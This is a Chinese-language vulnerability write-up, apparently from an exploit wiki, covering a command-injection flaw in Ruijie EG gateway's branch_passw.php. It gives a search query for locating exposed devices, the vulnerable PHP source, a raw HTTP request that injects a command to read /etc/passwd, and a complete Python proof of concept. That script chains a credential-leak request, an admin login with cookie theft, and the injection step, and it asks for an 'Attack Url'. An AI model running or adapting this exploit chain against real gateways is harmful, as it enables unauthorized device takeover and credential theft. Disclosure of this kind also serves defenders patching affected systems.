# 锐捷 EG易网关 branch_passw.php 远程命令执行 ## 漏洞描述 锐捷EG易网关 branch_passw.php存在命令执行漏洞，配合 锐捷EG易网关 管理员账号密码泄露漏洞 达到RCE控制服务器 ## 漏洞影响 ``` 锐捷EG易网关 ``` ## 网络测绘 ``` app="Ruijie-EG易网关" ``` ## 漏洞复现 首先登录到后台中(可以组合 锐捷EG易网关 管理员账号密码泄露漏洞) 漏洞文件 branch_passw.php ```php filename = DS . "data" . DS . "evpn" . DS . "cfg_pwd.text"; } /** * 设置分支设备的密码 * @param string post(pass) 分支密码 */ public function setAction() { $pass = p("pass"); if ($pass == FALSE) { json_echo(false); return; } $command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass; evpnShell($command); } /** * 关闭集中控制功能 */ function closeAction(){ evpnShell("/usr/local/evpn/server/cfg_pass.sh disable"); } /** * 获取分支密码 */ function getAction() { $command = "/usr/local/evpn/server/echo_pass.sh"; $content = []; exec(EscapeShellCmd($command), $content); $data = array("status" => true, "data" => isset($content[0]) && $content[0] === "" ? "" : $content); json_echo($data); } /** * 获取分支密码设置列表 */ function listAction(){ $province = p("province"); $city = p("city"); $district = p("district"); $shell = "/usr/local/evpn/server/sh_clients_pass.sh"; if($province !== FALSE && $province != ""){ $shell .= " province ".iconv("UTF-8", "GB2312//IGNORE", $province); } if($city !== FALSE && $city != ""){ $shell .= " city ".iconv("UTF-8", "GB2312//IGNORE", $city); } if($district !== FALSE && $district != ""){ $shell .= " district ".iconv("UTF-8", "GB2312//IGNORE", $district); } header("Content-type: text/html;charset=gbk"); header("Cache-Control: no-cache, must-revalidate"); header("Pragma: no-cache"); echo `$shell`; } } include_once dirname(dirname(__FILE__)) . '/init.php'; //mvc架构初始化 ``` 其中漏洞部分 ```php /** * 设置分支设备的密码 * @param string post(pass) 分支密码 */ public function setAction() { $pass = p("pass"); if ($pass == FALSE) { json_echo(false); return; } $command = "/usr/local/evpn/server/cfg_pass.sh config " . $pass; evpnShell($command); } ``` &pass**变量可控并且无过滤执行命令使用 **|** 即可绕过 发送请求包 ```plain POST /itbox_pi/branch_passw.php?a=set HTTP/1.1 Host: User-Agent: Go-http-client/1.1 Content-Length: 41 Content-Type: application/x-www-form-urlencoded Cookie: RUIJIEID=52222egp72ilkpf2de7qbrigk3;user=admin; X-Requested-With: XMLHttpRequest Accept-Encoding: gzip pass=|cat /etc/psswd>../test_test.txt ``` 再访问 ```plain http://xxx.xxx.xxx.xxx/test_test.txt ``` ![](images/202202110930068.png) ## 漏洞POC ```python #!/usr/bin/python3 #-*- coding:utf-8 -*- # author : PeiQi # from : http://wiki.peiqi.tech import base64 import requests import random import re import json import sys def title(): print('+------------------------------------------') print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m') print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m') print('+ \033[34m公众号 : PeiQi文库 \033[0m') print('+ \033[34mVersion: 锐捷EG网关 branch_passw.php 远程命令执行漏洞 \033[0m') print('+ \033[36m使用格式: python3 poc.py \033[0m') print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m') print('+------------------------------------------') def POC_1(target_url): vuln_url = target_url + "/login.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = 'username=admin&password=admin?show+webmaster+user' try: response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10) print("\033[36m[o] 正在执行 show webmaster user \033[0m".format(target_url)) if "data" in response.text and response.status_code == 200: password = re.findall(r'admin (.*?)"', response.text)[0] print("\033[36m[o] 成功获取, 账号密码为: admin {} \033[0m".format(password)) POC_2(target_url, password) except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) def POC_2(target_url, password): vuln_url = target_url + "/login.php" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } data = 'username=admin&password={}'.format(password) try: response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10) print("\033[36m[o] 正在登录..... \033[0m".format(target_url)) if "status" in response.text and "1" in response.text and response.status_code == 200: ruijie_cookie = "RUIJIEID=" + re.findall(r"'Set-Cookie': 'RUIJIEID=(.*?);", str(response.headers))[0] + ";user=admin;" print("\033[36m[o] 成功获取管理员Cookie: {} \033[0m".format(ruijie_cookie)) POC_3(target_url, ruijie_cookie) except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) def POC_3(target_url, ruijie_cookie): vuln_url = target_url + "/itbox_pi/branch_passw.php?a=set" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "{}".format(ruijie_cookie) } data = 'pass=|cat /etc/passwd>../test_test.txt' try: response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=10) print("\033[36m[o] 正在执行 cat /etc/passwd..... \033[0m".format(target_url)) if response.status_code == 200: POC_4(target_url, ruijie_cookie) except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) def POC_4(target_url, ruijie_cookie): vuln_url = target_url + "/test_test.txt" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", "Cookie": "{}".format(ruijie_cookie) } try: response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=10) print("\033[36m[o] 正在执行 cat /etc/passwd..... \033[0m".format(target_url)) if "root:" in response.text and response.status_code == 200: print("\033[36m[o] 成功读取 /etc/passwd \n[o] 响应为:{} \033[0m".format(response.text)) except Exception as e: print("\033[31m[x] 请求失败:{} \033[0m".format(e)) sys.exit(0) if __name__ == '__main__': title() target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m")) POC_1(target_url) ``` ![](images/202202110930028.png)